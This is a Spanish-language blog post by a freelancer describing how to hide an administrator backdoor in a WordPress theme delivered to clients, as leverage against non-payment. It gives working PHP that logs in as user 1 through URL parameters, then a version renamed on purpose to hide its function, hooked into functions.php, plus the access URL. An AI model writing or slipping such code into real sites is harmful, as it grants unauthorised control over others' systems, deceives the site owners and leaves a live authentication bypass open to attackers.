Cuando eres freelancer, te llegan clientes de todo tipo, y en algunas ocasiones hay que aceptar trabajos por pura necesidad. Muchas de esas ocasiones puede que el cliente se niegue a pagar el trabajo hasta que lo tenga en mano o hasta que lo tenga subido en su servidor, y es aquí cuando tienes que decidir entre perder un cliente o arriesgarte a que no te pague, en ambas situaciones terminas perdiendo.

En algunas situaciones he tenido que aceptar entregar el trabajo antes de recibir el pago, y ante esta situación lo que hice fue crear una puerta trasera (más conocido como «Backdoor») para acceder al WordPress si decidían no pagarme. Una vez recibido el pago, accedes al backdoor y eliminas el código del theme desde el panel de administrador, de manera que no sea un problema de seguridad para el cliente una vez haya concluido el trabajo y se haya recibido el pago.

La puerta trasera es una función bastante simple en la que usamos la función de WordPress llamada wp_set_auth_cookie() para hacer pensar a WordPress que nos hemos logeado en el sistema con la cuenta de administrador, y después usaremos wp_redirect() para redireccionarnos al panel de administración. De esta manera nos saltamos el login de WordPress creando nuestro propio login personalizado a través de una URL.

function backdoor() {
    if(isset($_GET["backdoor"]) && isset($_GET["pass"])) {
        $backdoor = htmlspecialchars($_GET["backdoor"]);
        $password = htmlspecialchars($_GET["pass"]);
        if($backdoor == "true" && $password == "clavebackdoor") {
            wp_set_auth_cookie(1); wp_redirect('/wp-admin'); die();
        }
    }
}

Esto es un ejemplo básico para que se entienda el concepto y la lógica detrás de este backdoor. No obstante, recomiendo cambiar las variables y añadir algo de seguridad para que no sea un problema mientras esté activo.

function bdr() {
    if(isset($_GET["a"]) && isset($_GET["b"]) && isset($_GET["c"])) {
        $a = htmlspecialchars($_GET["a"]);
        $b = htmlspecialchars($_GET["b"]);
        $c = htmlspecialchars($_GET["c"]);
        $d = md5("password-md5-hash-here");
        if($a == "acs" && $b == "1" && $d == md5($c)) {
            wp_set_auth_cookie(1); wp_redirect('/wp-admin'); die();
        }
    }
}

El cambio realizado es para que en el código no de la impresión de que es un backdor a primera vista, cambiando el nombre de la función y las variables. Se puede ver un nuevo valor «a» que tiene que ser igual a «acs», después un valor «b» que será el ID de usuario (por defecto sería el ID 1), y un valor «c» que sería la clave de acceso a ese backdoor. La clave de acceso la añado como md5 en el código para después pasar la comprobación del valor «c» con el hash «d». Si «c» es igual al hash md5 añadido en «d», nos dejaría acceder al panel de administrador.

Teniendo nuestro backdoor listo, ahora sólo hace falta añadirlo al theme que hemos creado. Añadimos la función anterior al archivo functions.php del theme y después añadimos la función de WordPress llamada add_action() debajo del backdoor. De esta manera WordPress iniciará el backdoor una vez cargue el theme. Quedaría algo así:

function bdr() {
    if(isset($_GET["a"]) && isset($_GET["b"]) && isset($_GET["c"])) {
        $a = htmlspecialchars($_GET["a"]);
        $b = htmlspecialchars($_GET["b"]);
        $c = htmlspecialchars($_GET["c"]);
        $d = md5("password-md5-hash-here");
        if($a == "acs" && $b == "1" && $d == md5($c)) {
            wp_set_auth_cookie(1); wp_redirect('/wp-admin'); die();
        }
    }
}
add_action('init', 'bdr');

Para acceder al backdoor, sólo tenemos que añadir lo siguiente a la url de la web, usando como ejemplo la función anterior.

website.com?a=acs&b=1&c=password

Al acceder a esa url, entraremos directamente al panel de administrador de WordPress con la cuenta de administrador, pudiendo hacer lo que queramos hasta que el cliente decida pagar.

Si decides usar este backdoor, te recomiendo que cambies las variables e intentes hacerlo algo más seguro. Este código es de uso didáctico y no me hago responsable de cualquier problema que pueda causarte.